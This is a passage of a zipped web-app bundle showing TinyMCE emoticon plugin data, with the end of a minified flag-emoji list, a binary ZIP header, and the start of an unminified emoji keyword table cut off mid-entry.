uddf0",fitzpatrick_scale:!1,category:"flags"},sudan:{keywords:["sd","flag","nation","country","banner"],char:"\ud83c\uddf8\ud83c\udde9",fitzpatrick_scale:!1,category:"flags"},suriname:{keywords:["sr","flag","nation","country","banner"],char:"\ud83c\uddf8\ud83c\uddf7",fitzpatrick_scale:!1,category:"flags"},swaziland:{keywords:["sz","flag","nation","country","banner"],char:"\ud83c\uddf8\ud83c\uddff",fitzpatrick_scale:!1,category:"flags"},sweden:{keywords:["se","flag","nation","country","banner"],char:"\ud83c\uddf8\ud83c\uddea",fitzpatrick_scale:!1,category:"flags"},switzerland:{keywords:["ch","flag","nation","country","banner"],char:"\ud83c\udde8\ud83c\udded",fitzpatrick_scale:!1,category:"flags"},syria:{keywords:["syrian","arab","republic","flag","nation","country","banner"],char:"\ud83c\uddf8\ud83c\uddfe",fitzpatrick_scale:!1,category:"flags"},taiwan:{keywords:["tw","flag","nation","country","banner"],char:"\ud83c\uddf9\ud83c\uddfc",fitzpatrick_scale:!1,category:"flags"},tajikistan:{keywords:["tj","flag","nation","country","banner"],char:"\ud83c\uddf9\ud83c\uddef",fitzpatrick_scale:!1,category:"flags"},tanzania:{keywords:["tanzania,","united","republic","flag","nation","country","banner"],char:"\ud83c\uddf9\ud83c\uddff",fitzpatrick_scale:!1,category:"flags"},thailand:{keywords:["th","flag","nation","country","banner"],char:"\ud83c\uddf9\ud83c\udded",fitzpatrick_scale:!1,category:"flags"},timor_leste:{keywords:["timor","leste","flag","nation","country","banner"],char:"\ud83c\uddf9\ud83c\uddf1",fitzpatrick_scale:!1,category:"flags"},togo:{keywords:["tg","flag","nation","country","banner"],char:"\ud83c\uddf9\ud83c\uddec",fitzpatrick_scale:!1,category:"flags"},tokelau:{keywords:["tk","flag","nation","country","banner"],char:"\ud83c\uddf9\ud83c\uddf0",fitzpatrick_scale:!1,category:"flags"},tonga:{keywords:["to","flag","nation","country","banner"],char:"\ud83c\uddf9\ud83c\uddf4",fitzpatrick_scale:!1,category:"flags"},trinidad_tobago:{keywords:["trinidad","tobago","flag","nation","country","banner"],char:"\ud83c\uddf9\ud83c\uddf9",fitzpatrick_scale:!1,category:"flags"},tunisia:{keywords:["tn","flag","nation","country","banner"],char:"\ud83c\uddf9\ud83c\uddf3",fitzpatrick_scale:!1,category:"flags"},tr:{keywords:["turkey","flag","nation","country","banner"],char:"\ud83c\uddf9\ud83c\uddf7",fitzpatrick_scale:!1,category:"flags"},turkmenistan:{keywords:["flag","nation","country","banner"],char:"\ud83c\uddf9\ud83c\uddf2",fitzpatrick_scale:!1,category:"flags"},turks_caicos_islands:{keywords:["turks","caicos","islands","flag","nation","country","banner"],char:"\ud83c\uddf9\ud83c\udde8",fitzpatrick_scale:!1,category:"flags"},tuvalu:{keywords:["flag","nation","country","banner"],char:"\ud83c\uddf9\ud83c\uddfb",fitzpatrick_scale:!1,category:"flags"},uganda:{keywords:["ug","flag","nation","country","banner"],char:"\ud83c\uddfa\ud83c\uddec",fitzpatrick_scale:!1,category:"flags"},ukraine:{keywords:["ua","flag","nation","country","banner"],char:"\ud83c\uddfa\ud83c\udde6",fitzpatrick_scale:!1,category:"flags"},united_arab_emirates:{keywords:["united","arab","emirates","flag","nation","country","banner"],char:"\ud83c\udde6\ud83c\uddea",fitzpatrick_scale:!1,category:"flags"},uk:{keywords:["united","kingdom","great","britain","northern","ireland","flag","nation","country","banner","british","UK","english","england","union jack"],char:"\ud83c\uddec\ud83c\udde7",fitzpatrick_scale:!1,category:"flags"},england:{keywords:["flag","english"],char:"\ud83c\udff4\udb40\udc67\udb40\udc62\udb40\udc65\udb40\udc6e\udb40\udc67\udb40\udc7f",fitzpatrick_scale:!1,category:"flags"},scotland:{keywords:["flag","scottish"],char:"\ud83c\udff4\udb40\udc67\udb40\udc62\udb40\udc73\udb40\udc63\udb40\udc74\udb40\udc7f",fitzpatrick_scale:!1,category:"flags"},wales:{keywords:["flag","welsh"],char:"\ud83c\udff4\udb40\udc67\udb40\udc62\udb40\udc77\udb40\udc6c\udb40\udc73\udb40\udc7f",fitzpatrick_scale:!1,category:"flags"},us:{keywords:["united","states","america","flag","nation","country","banner"],char:"\ud83c\uddfa\ud83c\uddf8",fitzpatrick_scale:!1,category:"flags"},us_virgin_islands:{keywords:["virgin","islands","us","flag","nation","country","banner"],char:"\ud83c\uddfb\ud83c\uddee",fitzpatrick_scale:!1,category:"flags"},uruguay:{keywords:["uy","flag","nation","country","banner"],char:"\ud83c\uddfa\ud83c\uddfe",fitzpatrick_scale:!1,category:"flags"},uzbekistan:{keywords:["uz","flag","nation","country","banner"],char:"\ud83c\uddfa\ud83c\uddff",fitzpatrick_scale:!1,category:"flags"},vanuatu:{keywords:["vu","flag","nation","country","banner"],char:"\ud83c\uddfb\ud83c\uddfa",fitzpatrick_scale:!1,category:"flags"},vatican_city:{keywords:["vatican","city","flag","nation","country","banner"],char:"\ud83c\uddfb\ud83c\udde6",fitzpatrick_scale:!1,category:"flags"},venezuela:{keywords:["ve","bolivarian","republic","flag","nation","country","banner"],char:"\ud83c\uddfb\ud83c\uddea",fitzpatrick_scale:!1,category:"flags"},vietnam:{keywords:["viet","nam","flag","nation","country","banner"],char:"\ud83c\uddfb\ud83c\uddf3",fitzpatrick_scale:!1,category:"flags"},wallis_futuna:{keywords:["wallis","futuna","flag","nation","country","banner"],char:"\ud83c\uddfc\ud83c\uddeb",fitzpatrick_scale:!1,category:"flags"},western_sahara:{keywords:["western","sahara","flag","nation","country","banner"],char:"\ud83c\uddea\ud83c\udded",fitzpatrick_scale:!1,category:"flags"},yemen:{keywords:["ye","flag","nation","country","banner"],char:"\ud83c\uddfe\ud83c\uddea",fitzpatrick_scale:!1,category:"flags"},zambia:{keywords:["zm","flag","nation","country","banner"],char:"\ud83c\uddff\ud83c\uddf2",fitzpatrick_scale:!1,category:"flags"},zimbabwe:{keywords:["zw","flag","nation","country","banner"],char:"\ud83c\uddff\ud83c\uddfc",fitzpatrick_scale:!1,category:"flags"},united_nations:{keywords:["un","flag","banner"],char:"\ud83c\uddfa\ud83c\uddf3",fitzpatrick_scale:!1,category:"flags"},pirate_flag:{keywords:["skull","crossbones","flag","banner"],char:"\ud83c\udff4\u200d\u2620\ufe0f",fitzpatrick_scale:!1,category:"flags"}});PK
h�\`�[|����1program/js/tinymce/plugins/emoticons/js/emojis.jsnu�[���// Source: npm package: emojilib, file:emojis.json
window.tinymce.Resource.add("tinymce.plugins.emoticons", {
  grinning: {
    keywords: [ "face", "smile", "happy", "joy", ":D", "grin" ],
    char: "\ud83d\ude00",
    fitzpatrick_scale: false,
    category: "people"
  },
  grimacing: {
    keywords: [ "face", "grimace", "teeth" ],
    char: "\ud83d\ude2c",
    fitzpatrick_scale: false,
    category: "people"
  },
  grin: {
    keywords: [ "face", "happy", "smile", "joy", "kawaii" ],
    char: "\ud83d\ude01",
    fitzpatrick_scale: false,
    category: "people"
  },
  joy: {
    keywords: [ "face", "cry", "tears", "weep", "happy", "happytears", "haha" ],
    char: "\ud83d\ude02",
    fitzpatrick_scale: false,
    category: "people"
  },
  rofl: {
    keywords: [ "face", "rolling", "floor", "laughing", "lol", "haha" ],
    char: "\ud83e\udd23",
    fitzpatrick_scale: false,
    category: "people"
  },
  partying: {
    keywords: [ "face", "celebration", "woohoo" ],
    char: "\ud83e\udd73",
    fitzpatrick_scale: false,
    category: "people"
  },
  smiley: {
    keywords: [ "face", "happy", "joy", "haha", ":D", ":)", "smile", "funny" ],
    char: "\ud83d\ude03",
    fitzpatrick_scale: false,
    category: "people"
  },
  smile: {
    keywords: [ "face", "happy", "joy", "funny", "haha", "laugh", "like", ":D", ":)" ],
    char: "\ud83d\ude04",
    fitzpatrick_scale: false,
    category: "people"
  },
  sweat_smile: {
    keywords: [ "face", "hot", "happy", "laugh", "sweat", "smile", "relief" ],
    char: "\ud83d\ude05",
    fitzpatrick_scale: false,
    category: "people"
  },
  laughing: {
    keywords: [ "happy", "joy", "lol", "satisfied", "haha", "face", "glad", "XD", "laugh" ],
    char: "\ud83d\ude06",
    fitzpatrick_scale: false,
    category: "people"
  },
  innocent: {
    keywords: [ "face", "angel", "heaven", "halo" ],
    char: "\ud83d\ude07",
    fitzpatrick_scale: false,
    category: "people"
  },
  wink: {
    keywords: [ "face", "happy", "mischievous", "secret", ";)", "smile", "eye" ],
    char: "\ud83d\ude09",
    fitzpatrick_scale: false,
    category: "people"
  },
  blush: {
    keywords: [ "face", "smile", "happy", "flushed", "crush", "embarrassed", "shy", "joy" ],
    char: "\ud83d\ude0a",
    fitzpatrick_scale: false,
    category: "people"
  },
  slightly_smiling_face: {
    keywords: [ "face", "smile" ],
    char: "\ud83d\ude42",
    fitzpatrick_scale: false,
    category: "people"
  },
  upside_down_face: {
    keywords: [ "face", "flipped", "silly", "smile" ],
    char: "\ud83d\ude43",
    fitzpatrick_scale: false,
    category: "people"
  },
  relaxed: {
    keywords: [ "face", "blush", "massage", "happiness" ],
    char: "\u263a\ufe0f",
    fitzpatrick_scale: false,
    category: "people"
  },
  yum: {
    keywords: [ "happy", "joy", "tongue", "smile", "face", "silly", "yummy", "nom", "delicious", "savouring" ],
    char: "\ud83d\ude0b",
    fitzpatrick_scale: false,
    category: "people"
  },
  relieved: {
    keywords: [ "face", "relaxed", "phew", "massage", "happiness" ],
    char: "\ud83d\ude0c",
    fitzpatrick_scale: false,
    category: "people"
  },
  heart_eyes: {
    keywords: [ "face", "love", "like", "affection", "valentines", "infatuation", "crush", "heart" ],
    char: "\ud83d\ude0d",
    fitzpatrick_scale: false,
    category: "people"
  },
  smiling_face_with_three_hearts: {
    keywords: [ "face", "love", "like", "affection", "valentines", "infatuation", "crush", "hearts", "adore" ],
    char: "\ud83e\udd70",
    fitzpatrick_scale: false,
    category: "people"
  },
  kissing_heart: {
    keywords: [ "face", "love", "like", "affection", "valentines", "infatuation", "kiss" ],
    char: "\ud83d\ude18",
    fitzpatrick_scale: false,
    category: "people"
  },
  kissing: {
    keywords: [ "love", "like", "face", "3", "valentines", "infatuation", "kiss" ],
    char: "\ud83d\ude17",
    fitzpatrick_scale: false,
    category: "people"
  },
  kissing_smiling_eyes: {
    keywords: [ "face", "affection", "valentines", "infatuation", "kiss" ],
    char: "\ud83d\ude19",
    fitzpatrick_scale: false,
    category: "people"
  },
  kissing_closed_eyes: {
    keywords: [ "face", "love", "like", "affection", "valentines", "infatuation", "kiss" ],
    char: "\ud83d\ude1a",
    fitzpatrick_scale: false,
    category: "people"
  },
  stuck_out_tongue_winking_eye: {
    keywords: [ "face", "prank", "childish", "playful", "mischievous", "smile", "wink", "tongue" ],
    char: "\ud83d\ude1c",
    fitzpatrick_scale: false,
    category: "people"
  },
  zany: {
    keywords: [ "face", "goofy", "crazy" ],
    char: "\ud83e\udd2a",
    fitzpatrick_scale: false,
    category: "people"
  },
  raised_eyebrow: {
    keywords: [ "face", "distrust", "scepticism", "disapproval", "disbelief", "surprise" ],
    char: "\ud83e\udd28",
    fitzpatrick_scale: false,
    category: "people"
  },
  monocle: {
    keywords: [ "face", "stuffy", "wealthy" ],
    char: "\ud83e\uddd0",
    fitzpatrick_scale: false,
    category: "people"
  },
  stuck_out_tongue_closed_eyes: {
    keywords: [ "face", "prank", "playful", "mischievous", "smile", "tongue" ],
    char: "\ud83d\ude1d",
    fitzpatrick_scale: false,
    category: "people"
  },
  stuck_out_tongue: {
    keywords: [ "face", "prank", "childish", "playful", "mischievous", "smile", "tongue" ],
    char: "\ud83d\ude1b",
    fitzpatrick_scale: false,
    category: "people"
  },
  money_mouth_face: {
    keywords: [ "face", "rich", "dollar", "money" ],
    char: "\ud83e\udd11",
    fitzpatrick_scale: false,
    category: "people"
  },
  nerd_face: {
    keywords: [ "face", "nerdy", "geek", "dork" ],
    char: "\ud83e\udd13",
    fitzpatrick_scale: false,
    category: "people"
  },
  sunglasses: {
    keywords: [ "face", "cool", "smile", "summer", "beach", "sunglass" ],
    char: "\ud83d\ude0e",
    fitzpatrick_scale: false,
    category: "people"
  },
  star_struck: {
    keywords: [ "face", "smile", "starry", "eyes", "grinning" ],
    char: "\ud83e\udd29",
    fitzpatrick_scale: false,
    category: "people"
  },
  clown_face: {
    keywords: [ "face" ],
    char: "\ud83e\udd21",
    fitzpatrick_scale: false,
    category: "people"
  },
  cowboy_hat_face: {
    keywords: [ "face", "cowgirl", "hat" ],
    char: "\ud83e\udd20",
    fitzpatrick_scale: false,
    category: "people"
  },
  hugs: {
    keywords: [ "face", "smile", "hug" ],
    char: "\ud83e\udd17",
    fitzpatrick_scale: false,
    category: "people"
  },
  smirk: {
    keywords: [ "face", "smile", "mean", "prank", "smug", "sarcasm" ],
    char: "\ud83d\ude0f",
    fitzpatrick_scale: false,
    category: "people"
  },
  no_mouth: {
    keywords: [ "face", "hellokitty" ],
    char: "\ud83d\ude36",
    fitzpatrick_scale: false,
    category: "people"
  },
  neutral_face: {
    keywords: [ "indifference", "meh", ":|", "neutral" ],
    char: "\ud83d\ude10",
    fitzpatrick_scale: false,
    category: "people"
  },
  expressionless: {
    keywords: [ "face", "indifferent", "-_-", "meh", "deadpan" ],
    char: "\ud83d\ude11",
    fitzpatrick_scale: false,
    category: "people"
  },
  unamused: {
    keywords: [ "indifference", "bored", "straight face", "serious", "sarcasm", "unimpressed", "skeptical", "dubious", "side_eye" ],
    char: "\ud83d\ude12",
    fitzpatrick_scale: false,
    category: "people"
  },
  roll_eyes: {
    keywords: [ "face", "eyeroll", "frustrated" ],
    char: "\ud83d\ude44",
    fitzpatrick_scale: false,
    category: "people"
  },
  thinking: {
    keywords: [ "face", "hmmm", "think", "consider" ],
    char: "\ud83e\udd14",
    fitzpatrick_scale: false,
    category: "people"
  },
  lying_face: {
    keywords: [ "face", "lie", "pinocchio" ],
    char: "\ud83e\udd25",
    fitzpatrick_scale: false,
    category: "people"
  },
  hand_over_mouth: {
    keywords: [ "face", "whoops", "shock", "surprise" ],
    char: "\ud83e\udd2d",
    fitzpatrick_scale: false,
    category: "people"
  },
  shushing: {
    keywords: [ "face", "quiet", "shhh" ],
    char: "\ud83e\udd2b",
    fitzpatrick_scale: false,
    category: "people"
  },
  symbols_over_mouth: {
    keywords: [ "face", "swearing", "cursing", "cussing", "profanity", "expletive" ],
    char: "\ud83e\udd2c",
    fitzpatrick_scale: false,
    category: "people"
  },
  exploding_head: {
    keywords: [ "face", "shocked", "mind", "blown" ],
    char: "\ud83e\udd2f",
    fitzpatrick_scale: false,
    category: "people"
  },
  flushed: {
    keywords: [ "face", "blush", "shy", "flattered" ],
    char: "\ud83d\ude33",
    fitzpatrick_scale: false,
    category: "people"
  },
  disappointed: {
    keywords: [ "face", "sad", "upset", "depressed", ":(" ],
    char: "\ud83d\ude1e",
    fitzpatrick_scale: false,
    category: "people"
  },
  worried: {
    keywords: [ "face", "concern", "nervous", ":(" ],
    char: "\ud83d\ude1f",
    fitzpatrick_scale: false,
    category: "people"
  },
  angry: {
    keywords: [ "mad", "face", "annoyed", "frustrated" ],
    char: "\ud83d\ude20",
    fitzpatrick_scale: false,
    category: "people"
  },
  rage: {
    keywords: [ "angry", "mad", "hate", "despise" ],
    char: "\ud83d\ude21",
    fitzpatrick_scale: false,
    category: "people"
  },
  pensive: {
    keywords: [ "face", "sad", "depressed", "upset" ],
    char: "\ud83d\ude14",
    fitzpatrick_scale: false,
    category: "people"
  },
  confused: {
    keywords: [ "face", "indifference", "huh", "weird", "hmmm", ":/" ],
    char: "\ud83d\ude15",
    fitzpatrick_scale: false,
    category: "people"
  },
  slightly_frowning_face: {
    keywords: [ "face", "frowning", "disappointed", "sad", "upset" ],
    char: "\ud83d\ude41",
    fitzpatrick_scale: false,
    category: "people"
  },
  frowning_face: {
    keywords: [ "face", "sad", "upset", "frown" ],
    char: "\u2639",
    fitzpatrick_scale: false,
    category: "people"
  },
  persevere: {
    keywords: [ "face", "sick", "no", "upset", "oops" ],
    char: "\ud83d\ude23",
    fitzpatrick_scale: false,
    category: "people"
  },
  confounded: {
    keywords: [ "face", "confused", "sick", "unwell", "oops", ":S" ],
    char: "\ud83d\ude16",
    fitzpatrick_scale: false,
    category: "people"
  },
  tired_face: {
    keywords: [ "sick", "whine", "upset", "frustrated" ],
    char: "\ud83d\ude2b",
    fitzpatrick_scale: false,
    category: "people"
  },
  weary: {
    keywords: [ "face", "tired", "sleepy", "sad", "frustrated", "upset" ],
    char: "\ud83d\ude29",
    fitzpatrick_scale: false,
    category: "people"
  },
  pleading: {
    keywords: [ "face", "begging", "mercy" ],
    char: "\ud83e\udd7a",
    fitzpatrick_scale: false,
    category: "people"
  },
  triumph: {
    keywords: [ "face", "gas", "phew", "proud", "pride" ],
    char: "\ud83d\ude24",
    fitzpatrick_scale: false,
    category: "people"
  },
  open_mouth: {
    keywords: [ "face", "surprise", "impressed", "wow", "whoa", ":O" ],
    char: "\ud83d\ude2e",
    fitzpatrick_scale: false,
    category: "people"
  },
  scream: {
    keywords: [ "face", "munch", "scared", "omg" ],
    char: "\ud83d\ude31",
    fitzpatrick_scale: false,
    category: "people"
  },
  fearful: {
    keywords: [ "face", "scared", "terrified", "nervous", "oops", "huh" ],
    char: "\ud83d\ude28",
    fitzpatrick_scale: false,
    category: "people"
  },
  cold_sweat: {
    keywords: [ "face", "nervous", "sweat" ],
    char: "\ud83d\ude30",
    fitzpatrick_scale: false,
    category: "people"
  },
  hushed: {
    keywords: [ "face", "woo", "shh" ],
    char: "\ud83d\ude2f",
    fitzpatrick_scale: false,
    category: "people"
  },
  frowning: {
    keywords: [ "face", "aw", "what" ],
    char: "\ud83d\ude26",
    fitzpatrick_scale: false,
    category: "people"
  },
  anguished: {
    keywords: [ "face", "stunned", "nervous" ],
    char: "\ud83d\ude27",
    fitzpatrick_scale: false,
    category: "people"
  },
  cry: {
    keywords: [ "face", "tears", "sad", "depressed", "upset", ":'(" ],
    char: "\ud83d\ude22",
    fitzpatrick_scale: false,
    category: "people"
  },
  disappointed_relieved: {
    keywords: [ "face", "phew", "sweat", "nervous" ],
    char: "\ud83d\ude25",
    fitzpatrick_scale: false,
    category: "people"
  },
  drooling_face: {
    keywords: [ "face" ],
    char: "\ud83e\udd24",
    fitzpatrick_scale: false,
    category: "people"
  },
  sleepy: {
    keywords: [ "face", "tired", "rest", "nap" ],
    char: "\ud83d\ude2a",
    fitzpatrick_scale: false,
    category: "people"
  },
  sweat: {
    keywords: [ "face", "hot", "sad", "tired", "exercise" ],
    char: "\ud83d\ude13",
    fitzpatrick_scale: false,
    category: "people"
  },
  hot: {
    keywords: [ "face", "feverish", "heat", "red", "sweating" ],
    char: "\ud83e\udd75",
    fitzpatrick_scale: false,
    category: "people"
  },
  cold: {
    keywords: [ "face", "blue", "freezing", "frozen", "frostbite", "icicles" ],
    char: "\ud83e\udd76",
    fitzpatrick_scale: false,
    category: "people"
  },
  sob: {
    keywords: [ "face", "cry", "tears", "sad", "upset", "depressed" ],
    char: "\ud83d\ude2d",
    fitzpatrick_scale: false,
    category: "people"
  },
  dizzy_face: {
    keywords: [ "spent", "unconscious", "xox", "dizzy" ],
    char: "\ud83d\ude35",
    fitzpatrick_scale: false,
    category: "people"
  },
  astonished: {
    keywords: [ "face", "xox", "surprised", "poisoned" ],
    char: "\ud83d\ude32",
    fitzpatrick_scale: false,
    category: "people"
  },
  zipper_mouth_face: {
    keywords: [ "face", "sealed", "zipper", "secret" ],
    char: "\ud83e\udd10",
    fitzpatrick_scale: false,
    category: "people"
  },
  nauseated_face: {
    keywords: [ "face", "vomit", "gross", "green", "sick", "throw up", "ill" ],
    char: "\ud83e\udd22",
    fitzpatrick_scale: false,
    category: "people"
  },
  sneezing_face: {
    keywords: [ "face", "gesundheit", "sneeze", "sick", "allergy" ],
    char: "\ud83e\udd27",
    fitzpatrick_scale: false,
    category: "people"
  },
  vomiting: {
    keywords: [ "face", "sick" ],
    char: "\ud83e\udd2e",
    fitzpatrick_scale: false,
    category: "people"
  },
  mask: {
    keywords: [ "face", "sick", "ill", "disease" ],
    char: "\ud83d\ude37",
    fitzpatrick_scale: false,
    category: "people"
  },
  face_with_thermometer: {
    keywords: [ "sick", "temperature", "thermometer", "cold", "fever" ],
    char: "\ud83e\udd12",
    fitzpatrick_scale: false,
    category: "people"
  },
  face_with_head_bandage: {
    keywords: [ "injured", "clumsy", "bandage", "hurt" ],
    char: "\ud83e\udd15",
    fitzpatrick_scale: false,
    category: "people"
  },
  woozy: {
    keywords: [ "face", "dizzy", "intoxicated", "tipsy", "wavy" ],
    char: "\ud83e\udd74",
    fitzpatrick_scale: false,
    category: "people"
  },
  sleeping: {
    keywords: [ "face", "tired", "sleepy", "night", "zzz" ],
    char: "\ud83d\ude34",
    fitzpatrick_scale: false,
    category: "people"
  },
  zzz: {
    keywords: [ "sleepy", "tired", "dream" ],
    char: "\ud83d\udca4",
    fitzpatrick_scale: false,
    category: "people"
  },
  poop: {
    keywords: [ "hankey", "shitface", "fail", "turd", "shit" ],
    char: "\ud83d\udca9",
    fitzpatrick_scale: false,
    category: "people"
  },
  smiling_imp: {
    keywords: [ "devil", "horns" ],
    char: "\ud83d\ude08",
    fitzpatrick_scale: false,
    category: "people"
  },
  imp: {
    keywords: [ "devil", "angry", "horns" ],
    char: "\ud83d\udc7f",
    fitzpatrick_scale: false,
    category: "people"
  },
  japanese_ogre: {
    keywords: [ "monster", "red", "mask", "halloween", "scary", "creepy", "devil", "demon", "japanese", "ogre" ],
    char: "\ud83d\udc79",
    fitzpatrick_scale: false,
    category: "people"
  },
  japanese_goblin: {
    keywords: [ "red", "evil", "mask", "monster", "scary", "creepy", "japanese", "goblin" ],
    char: "\ud83d\udc7a",
    fitzpatrick_scale: false,
    category: "people"
  },
  skull: {
    keywords: [ "dead", "skeleton", "creepy", "death" ],
    char: "\ud83d\udc80",
    fitzpatrick_scale: false,
    category: "people"
  },
  ghost: {
    keywords: [ "halloween", "spooky", "scary" ],
    char: "\ud83d\udc7b",
    fitzpatrick_scale: false,
    category: "people"
  },
  alien: {
    keywords: [ "UFO", "paul", "weird", "outer_space" ],
    char: "\ud83d\udc7d",
    fitzpatrick_scale: false,
    category: "people"
  },
  robot: {
    keywords: [ "computer", "machine", "bot" ],
    char: "\ud83e\udd16",
    fitzpatrick_scale: false,
    category: "people"
  },
  smiley_cat: {
    keywords: [ "animal", "cats", "happy", "smile" ],
    char: "\ud83d\ude3a",
    fitzpatrick_scale: false,
    category: "people"
  },
  smile_cat: {
    keywords: [ "animal", "cats", "smile" ],
    char: "\ud83d\ude38",
    fitzpatrick_scale: false,
    category: "people"
  },
  joy_cat: {
    keywords: [ "animal", "cats", "haha", "happy", "tears" ],
    char: "\ud83d\ude39",
    fitzpatrick_scale: false,
    category: "people"
  },
  heart_eyes_cat: {
    keywords: [ "animal", "love", "like", "affection", "cats", "valentines", "heart" ],
    char: "\ud83d\ude3b",
    fitzpatrick_scale: false,
    category: "people"
  },
  smirk_cat: {
    keywords: [ "animal", "cats", "smirk" ],
    char: "\ud83d\ude3c",
    fitzpatrick_scale: false,
    category: "people"
  },
  kissing_cat: {
    keywords: [ "animal", "cats", "kiss" ],
    char: "\ud83d\ude3d",
    fitzpatrick_scale: false,
    category: "people"
  },
  scream_cat: {
    keywords: [ "animal", "cats", "munch", "scared", "scream" ],
    char: "\ud83d\ude40",
    fitzpatrick_scale: false,
    category: "people"
  },
  crying_cat_face: {
    keywords: [ "animal", "tears", "weep", "sad", "cats", "upset", "cry" ],
    char: "\ud83d\ude3f",
    fitzpatrick_scale: false,
    category: "people"
  },
  pouting_cat: {
    keywords: [ "animal", "cats" ],
    char: "\ud83d\ude3e",
    fitzpatrick_scale: false,
    category: "people"
  },
  palms_up: {
    keywords: [ "hands", "gesture", "cupped", "prayer" ],
    char: "\ud83e\udd32",
    fitzpatrick_scale: true,
    category: "people"
  },
  raised_hands: {
    keywords: [ "gesture", "hooray", "yea", "celebration", "hands" ],
    char: "\ud83d\ude4c",
    fitzpatrick_scale: true,
    category: "people"
  },
  clap: {
    keywords: [ "hands", "praise", "applause", "congrats", "yay" ],
    char: "\ud83d\udc4f",
    fitzpatrick_scale: true,
    category: "people"
  },
  wave: {
    keywords: [ "hands", "gesture", "goodbye", "solong", "farewell", "hello", "hi", "palm" ],
    char: "\ud83d\udc4b",
    fitzpatrick_scale: true,
    category: "people"
  },
  call_me_hand: {
    keywords: [ "hands", "gesture" ],
    char: "\ud83e\udd19",
    fitzpatrick_scale: true,
    category: "people"
  },
  "+1": {
    keywords: [ "thumbsup", "yes", "awesome", "good", "agree", "accept", "cool", "hand", "like" ],
    char: "\ud83d\udc4d",
    fitzpatrick_scale: true,
    category: "people"
  },
  "-1": {
    keywords: [ "thumbsdown", "no", "dislike", "hand" ],
    char: "\ud83d\udc4e",
    fitzpatrick_scale: true,
    category: "people"
  },
  facepunch: {
    keywords: [ "angry", "violence", "fist", "hit", "attack", "hand" ],
    char: "\ud83d\udc4a",
    fitzpatrick_scale: true,
    category: "people"
  },
  fist: {
    keywords: [ "fingers", "hand", "grasp" ],
    char: "\u270a",
    fitzpatrick_scale: true,
    category: "people"
  },
  fist_left: {
    keywords: [ "hand", "fistbump" ],
    char: "\ud83e\udd1b",
    fitzpatrick_scale: true,
    category: "people"
  },
  fist_right: {
    keywords: [ "hand", "fistbump" ],
    char: "\ud83e\udd1c",
    fitzpatrick_scale: true,
    category: "people"
  },
  v: {
    keywords: [ "fingers", "ohyeah", "hand", "peace", "victory", "two" ],
    char: "\u270c",
    fitzpatrick_scale: true,
    category: "people"
  },
  ok_hand: {
    keywords: [ "fingers", "limbs", "perfect", "ok", "okay" ],
    char: "\ud83d\udc4c",
    fitzpatrick_scale: true,
    category: "people"
  },
  raised_hand: {
    keywords: [ "fingers", "stop", "highfive", "palm", "ban" ],
    char: "\u270b",
    fitzpatrick_scale: true,
    category: "people"
  },
  raised_back_of_hand: {
    keywords: [ "fingers", "raised", "backhand" ],
    char: "\ud83e\udd1a",
    fitzpatrick_scale: true,
    category: "people"
  },
  open_hands: {
    keywords: [ "fingers", "butterfly", "hands", "open" ],
    char: "\ud83d\udc50",
    fitzpatrick_scale: true,
    category: "people"
  },
  muscle: {
    keywords: [ "arm", "flex", "hand", "summer", "strong", "biceps" ],
    char: "\ud83d\udcaa",
    fitzpatrick_scale: true,
    category: "people"
  },
  pray: {
    keywords: [ "please", "hope", "wish", "namaste", "highfive" ],
    char: "\ud83d\ude4f",
    fitzpatrick_scale: true,
    category: "people"
  },
  foot: {
    keywords: [ "kick", "stomp" ],
    char: "\ud83e\uddb6",
    fitzpatrick_scale: true,
    category: "people"
  },
  leg: {
    keywords: [ "kick", "limb" ],
    char: "\ud83e\uddb5",
    fitzpatrick_scale: true,
    category: "people"
  },
  handshake: {
    keywords: [ "agreement", "shake" ],
    char: "\ud83e\udd1d",
    fitzpatrick_scale: false,
    category: "people"
  },
  point_up: {
    keywords: [ "hand", "fingers", "direction", "up" ],
    char: "\u261d",
    fitzpatrick_scale: true,
    category: "people"
  },
  point_up_2: {
    keywords: [ "fingers", "hand", "direction", "up" ],
    char: "\ud83d\udc46",
    fitzpatrick_scale: true,
    category: "people"
  },
  point_down: {
    keywords: [ "fingers", "hand", "direction", "down" ],
    char: "\ud83d\udc47",
    fitzpatrick_scale: true,
    category: "people"
  },
  point_left: {
    keywords: [ "direction", "fingers", "hand", "left" ],
    char: "\ud83d\udc48",
    fitzpatrick_scale: true,
    category: "people"
  },
  point_right: {
    keywords: [ "fingers", "hand", "direction", "right" ],
    char: "\ud83d\udc49",
    fitzpatrick_scale: true,
    category: "people"
  },
  fu: {
    keywords: [ "hand", "fingers", "rude", "middle", "flipping" ],
    char: "\ud83d\udd95",
    fitzpatrick_scale: true,
    category: "people"
  },
  raised_hand_with_fingers_splayed: {
    keywords: [ "hand", "fingers", "palm" ],
    char: "\ud83d\udd90",
    fitzpatrick_scale: true,
    category: "people"
  },
  love_you: {
    keywords: [ "hand", "fingers", "gesture" ],
    char: "\ud83e\udd1f",
    fitzpatrick_scale: true,
    category: "people"
  },
  metal: {
    keywords: [ "hand", "fingers", "evil_eye", "sign_of_horns", "rock_on" ],
    char: "\ud83e\udd18",
    fitzpatrick_scale: true,
    category: "people"
  },
  crossed_fingers: {
    keywords: [ "good", "lucky" ],
    char: "\ud83e\udd1e",
    fitzpatrick_scale: true,
    category: "people"
  },
  vulcan_salute: {
    keywords: [ "hand", "fingers", "spock", "star trek" ],
    char: "\ud83d\udd96",
    fitzpatrick_scale: true,
    category: "people"
  },
  writing_hand: {
    keywords: [ "lower_left_ballpoint_pen", "stationery", "write", "compose" ],
    char: "\u270d",
    fitzpatrick_scale: true,
    category: "people"
  },
  selfie: {
    keywords: [ "camera", "phone" ],
    char: "\ud83e\udd33",
    fitzpatrick_scale: true,
    category: "people"
  },
  nail_care: {
    keywords: [ "beauty", "manicure", "finger", "fashion", "nail" ],
    char: "\ud83d\udc85",
    fitzpatrick_scale: true,
    category: "people"
  },
  lips: {
    keywords: [ "mouth", "kiss" ],
    char: "\ud83d\udc44",
    fitzpatrick_scale: false,
    category: "people"
  },
  tooth: {
    keywords: [ "teeth", "dentist" ],
    char: "\ud83e\uddb7",
    fitzpatrick_scale: false,
    category: "people"
  },
  tongue: {
    keywords: [ "mouth", "playful" ],
    char: "\ud83d\udc45",
    fitzpatrick_scale: false,
    category: "people"
  },
  ear: {
    keywords: [ "face", "hear", "sound", "listen" ],
    char: "\ud83d\udc42",
    fitzpatrick_scale: true,
    category: "people"
  },
  nose: {
    keywords: [ "smell", "sniff" ],
    char: "\ud83d\udc43",
    fitzpatrick_scale: true,
    category: "people"
  },
  eye: {
    keywords: [ "face", "look", "see", "watch", "stare" ],
    char: "\ud83d\udc41",
